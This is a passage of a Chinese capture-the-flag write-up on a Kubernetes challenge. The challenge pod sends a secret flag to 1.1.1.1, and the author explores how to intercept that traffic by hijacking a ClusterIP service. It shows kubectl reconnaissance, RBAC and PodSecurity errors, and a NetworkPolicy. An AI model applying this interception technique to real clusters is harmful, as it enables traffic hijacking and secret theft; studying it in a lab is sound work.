UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#DD4A68;">sleep</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">      </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#990055;">10</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">done</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span>command:          <br/><span style="mso-spacerun:yes;">    </span>- </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#DD4A68;">sh</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span>env:          <br/><span style="mso-spacerun:yes;">    </span>- name: FLAG          <br/><span style="mso-spacerun:yes;">      </span>valueFrom:          <br/><span style="mso-spacerun:yes;">        </span>secretKeyRef:          <br/><span style="mso-spacerun:yes;">          </span>key: flag          <br/><span style="mso-spacerun:yes;">          </span>name: flag</span></p><p style="text-align:left;"><span style="font-family: &#34;Microsoft YaHei UI&#34;;font-size: var(--articleFontsize);letter-spacing: 0.034em;">很简单，他echo了 env 中的 FLAG，从secrets 资源里面获取。</span><span style="font-family: &#34;Microsoft YaHei UI&#34;;font-size: var(--articleFontsize);letter-spacing: 0.034em;">并且通过管道传递给了 1.1.1.1 80 端口。</span><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">➤ kubectl --kubeconfig kubeconfig -n flag-sender logs flag-sender<span class="code-snippet__number">-676776</span>d678-gvqdz</span></code><code><span class="code-snippet_outer">HTTP/<span class="code-snippet__number">1.1</span> <span class="code-snippet__number">400</span> Bad Request</span></code><code><span class="code-snippet_outer">Server: cloudflare</span></code><code><span class="code-snippet_outer">Content-Type: text/html</span></code><code><span class="code-snippet_outer">Content-Length: <span class="code-snippet__number">155</span></span></code><code><span class="code-snippet_outer">Connection: close</span></code><code><span class="code-snippet_outer">CF-RAY: -</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">html</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">head</span>&gt;</span><span class="code-snippet__tag">&lt;<span class="code-snippet__name">title</span>&gt;</span>400 Bad Request<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">title</span>&gt;</span><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">head</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">body</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">center</span>&gt;</span><span class="code-snippet__tag">&lt;<span class="code-snippet__name">h1</span>&gt;</span>400 Bad Request<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">h1</span>&gt;</span><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">center</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">hr</span>&gt;</span><span class="code-snippet__tag">&lt;<span class="code-snippet__name">center</span>&gt;</span>cloudflare<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">center</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">body</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">html</span>&gt;</span></span></code><code><span class="code-snippet_outer">Flag Send</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">.....</span></code></pre></section><p style="text-align:left;"><strong><span style="letter-spacing: 0.034em;text-align: justify;font-family: &#34;Microsoft YaHei UI&#34;;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;font-size: 24px;">目的</span></strong><br/></p><p style="text-align:left;"><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">那么目前题目传递的意思已经比较明确了，我们需要想办法截获发往 1.1.1.1 80 端口的 flag。</span><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;text-decoration:line-through;">但很明显这不是让你把 1.1.1.1 给*了。</span><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"></span></p><p style="text-align:left;"><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">简单的尝试</span><span style="font-family: &#34;Microsoft YaHei UI&#34;;font-size: var(--articleFontsize);letter-spacing: 0.034em;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer">➤ kubectl --kubeconfig kubeconfig -n flag-sender exec -it flag-sender<span class="code-snippet__number">-676776</span>d678-gvqdz -- env</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">Error</span> <span class="code-snippet__keyword">from</span> server (Forbidden): pods <span class="code-snippet__string">&#34;flag-sender-676776d678-gvqdz&#34;</span> is forbidden: User <span class="code-snippet__string">&#34;system:serviceaccount:default:ctf-player&#34;</span> cannot create resource <span class="code-snippet__string">&#34;pods/exec&#34;</span> <span class="code-snippet__keyword">in</span> API group <span class="code-snippet__string">&#34;&#34;</span> <span class="code-snippet__keyword">in</span> the <span class="code-snippet__keyword">namespace</span> <span class="code-snippet__string">&#34;flag-sender&#34;</span></span></code></pre></section><p style="text-align:left;"><span style="font-family: &#34;Microsoft YaHei UI&#34;;font-size: var(--articleFontsize);letter-spacing: 0.034em;background-color: rgb(246, 245, 245);"></span><span style="font-family: &#34;Microsoft YaHei UI&#34;;font-size: var(--articleFontsize);letter-spacing: 0.034em;">分析一下：</span></p><ul class="list-paddingleft-1" style="list-style-type: disc;"><li><p style="margin-top: 0.0pt;margin-bottom: 0.0pt;line-height: 150%;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Microsoft YaHei UI;mso-fareast-font-family: &#39;Microsoft YaHei UI&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;mso-list: l1 level1 lfo2;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;"><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">目前手上的权限不足以操控这个 </span><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#558EDA;background:#F6F1F3;">flag-sender-676776d678-gvqdz</span><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"></span></p></li><li><p style="margin-top: 0.0pt;margin-bottom: 0.0pt;line-height: 150%;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Microsoft YaHei UI;mso-fareast-font-family: &#39;Microsoft YaHei UI&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;mso-list: l1 level1 lfo2;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;"><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">没有操作Node 的权限</span></p></li><li><p style="margin-top: 0.0pt;margin-bottom: 0.0pt;line-height: 150%;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Microsoft YaHei UI;mso-fareast-font-family: &#39;Microsoft YaHei UI&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;mso-list: l1 level1 lfo2;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;"><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">能创建的资源有限</span></p></li></ul><p style="text-align:left;"><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">那么还得从题目给定的资源入手，所以我们需要把目光转向 service，但没有特定的 service 给我们。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer">➤ kubectl --kubeconfig kubeconfig   <span class="code-snippet__keyword">get</span> svc -<span class="code-snippet__type">A</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__type">NAMESPACE</span>     <span class="code-snippet__type">NAME</span>         <span class="code-snippet__type">TYPE</span>        <span class="code-snippet__type">CLUSTER</span>-<span class="code-snippet__type">IP</span>    <span class="code-snippet__type">EXTERNAL</span>-<span class="code-snippet__type">IP</span>   <span class="code-snippet__type">PORT</span>(<span class="code-snippet__type">S</span>)                  <span class="code-snippet__type">AGE</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">default</span>       kubernetes   <span class="code-snippet__type">ClusterIP</span>   <span class="code-snippet__number">10.128</span>.<span class="code-snippet__number">0.1</span>    &lt;<span class="code-snippet__keyword">none</span>&gt;        <span class="code-snippet__number">443</span>/<span class="code-snippet__type">TCP</span>                  23m</span></code><code><span class="code-snippet_outer">kube-system   kube-dns     <span class="code-snippet__type">ClusterIP</span>   <span class="code-snippet__number">10.128</span>.<span class="code-snippet__number">0.10</span>   &lt;<span class="code-snippet__keyword">none</span>&gt;        <span class="code-snippet__number">53</span>/<span class="code-snippet__type">UDP</span>,<span class="code-snippet__number">53</span>/<span class="code-snippet__type">TCP</span>,<span class="code-snippet__number">9153</span>/<span class="code-snippet__type">TCP</span>   23m</span></code></pre></section><p style="text-align:left;"><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;font-family: &#34;Microsoft YaHei UI&#34;;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">并且</span><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;font-family: &#34;Microsoft YaHei UI&#34;;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;color: rgb(85, 142, 218);background: rgb(246, 241, 243);">flag-reciever</span><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;font-family: &#34;Microsoft YaHei UI&#34;;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;"> ns 下也设置了</span><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;font-family: &#34;Microsoft YaHei UI&#34;;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;color: rgb(85, 142, 218);background: rgb(246, 241, 243);">networkpolicy</span><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;font-family: &#34;Microsoft YaHei UI&#34;;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">, 限定了 ns 为 </span><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;font-family: &#34;Microsoft YaHei UI&#34;;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;color: rgb(85, 142, 218);background: rgb(246, 241, 243);">flag-sender</span><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;font-family: &#34;Microsoft YaHei UI&#34;;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">和 有 label 为</span><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;font-family: &#34;Microsoft YaHei UI&#34;;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;color: rgb(85, 142, 218);background: rgb(246, 241, 243);">app: flag-sender</span><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;font-family: &#34;Microsoft YaHei UI&#34;;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">的入方向ingress。</span><span style="font-family: &#34;Microsoft YaHei UI&#34;;font-size: var(--articleFontsize);letter-spacing: 0.034em;"></span></p><p style="text-align:left;border-top:solid #E9E7E7 1.0pt;border-left:solid #E9E7E7 1.0pt;border-bottom:solid #E9E7E7 1.0pt;border-right:solid #E9E7E7 1.0pt;mso-padding-alt:8.0pt 8.0pt 8.0pt 8.0pt;padding:8.0pt 8.0pt 8.0pt 8.0pt;background:#F6F5F5;"><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"><span style="color: rgb(51, 51, 51);font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;font-size: 14px;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;background-color: rgb(250, 250, 250);">➤</span> kubectl </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#EE9900;">--kubeconfig</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> kubeconfig </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#EE9900;">-n</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> flag-reciever get networkpolicies flag-reciever </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#EE9900;">-o</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> yaml          <br/>apiVersion: networking.k8s.io/v1          <br/>kind: NetworkPolicy          <br/>metadata:          <br/><span style="mso-spacerun:yes;">  </span>creationTimestamp: </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#669900;">&#34;2023-12-30T04:39:32Z&#34;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span>generation: </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#990055;">1</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span>name: flag-reciever          <br/><span style="mso-spacerun:yes;">  </span>namespace: flag-reciever          <br/><span style="mso-spacerun:yes;">  </span>resourceVersion: </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#669900;">&#34;223&#34;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span>uid: b8ca8419-29c5-4dad-829a-7fadb85a6f12          <br/>spec:          <br/><span style="mso-spacerun:yes;">  </span>ingress:          <br/><span style="mso-spacerun:yes;">  </span>- from:          <br/><span style="mso-spacerun:yes;">    </span>- namespaceSelector:          <br/><span style="mso-spacerun:yes;">        </span>matchLabels:          <br/><span style="mso-spacerun:yes;">          </span>ns: flag-sender          <br/><span style="mso-spacerun:yes;">      </span>podSelector:          <br/><span style="mso-spacerun:yes;">        </span>matchLabels:          <br/><span style="mso-spacerun:yes;">          </span>app: flag-sender          <br/><span style="mso-spacerun:yes;">  </span>podSelector: </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">{}</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span>policyTypes:          <br/><span style="mso-spacerun:yes;">  </span>- Ingress          <br/><span style="mso-spacerun:yes;">  </span>- Egress</span><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;font-family: &#34;Microsoft YaHei UI&#34;;"> </span><o:p style="font-size: var(--articleFontsize);letter-spacing: 0.034em;font-family: &#34;Microsoft YaHei UI&#34;;"> </o:p></p><p style="text-align:left;"><span style="font-size: 16px;letter-spacing: 0.034em;text-align: justify;font-family: &#34;Microsoft YaHei UI&#34;;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">第一个想法 - ClusterIP</span><span style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;text-align: justify;">   </span><br/></p><p style="text-align:left;"><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">我们先创建一个 </span><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#558EDA;background:#F6F1F3;">busybox</span><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> pod，然后监听个端口，然后创建service通过 </span><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#558EDA;background:#F6F1F3;">ClusterIP</span><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> 直接设定固定IP 来操作。想法不错，但这里面其实存在一个坑点。</span></p><p style="text-align:left;"><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">随便创建一个 pod 先试试。</span></p><p style="text-align:left;border-top:solid #E9E7E7 1.0pt;border-left:solid #E9E7E7 1.0pt;border-bottom:solid #E9E7E7 1.0pt;border-right:solid #E9E7E7 1.0pt;mso-padding-alt:8.0pt 8.0pt 8.0pt 8.0pt;padding:8.0pt 8.0pt 8.0pt 8.0pt;background:#F6F5F5;"><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"><span style="color: rgb(51, 51, 51);font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;font-size: 14px;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;background-color: rgb(250, 250, 250);">➤</span> kubectl </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#EE9900;">--kubeconfig</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> kubeconfig </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#EE9900;">-n</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> flag-reciever run nginx </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#EE9900;">--image</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#9A6E3A;">=</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">nginx          <br/>

          <br/>Error from server </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">(</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">Forbidden</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">)</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">: pods </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#669900;">&#34;nginx&#34;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> is forbidden: violates PodSecurity </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#669900;">&#34;restricted:latest&#34;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#DD4A68;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> allowPrivilegeEscalation </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#9A6E3A;">!=</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#990055;">false</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">(</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">container </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#669900;">&#34;nginx&#34;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> must </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#DD4A68;">set</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#EE9900;">securityContext.allowPrivilegeEscalation</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#9A6E3A;">=</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">false</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">)</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">, unrestricted capabilities </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">(</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">container </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#669900;">&#34;nginx&#34;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> must </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#DD4A68;">set</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#EE9900;">securityContext.capabilities.drop</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#9A6E3A;">=</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">[</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#669900;">&#34;ALL&#34;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">])</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">, runAsNonRoot </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#9A6E3A;">!=</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#990055;">true</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">(</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">pod or container </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#669900;">&#34;nginx&#34;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> must </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#DD4A68;">set</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#EE9900;">securityContext.runAsNonRoot</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#9A6E3A;">=</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">true</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">)</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">, seccompProfile </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">(</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">pod or container </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei 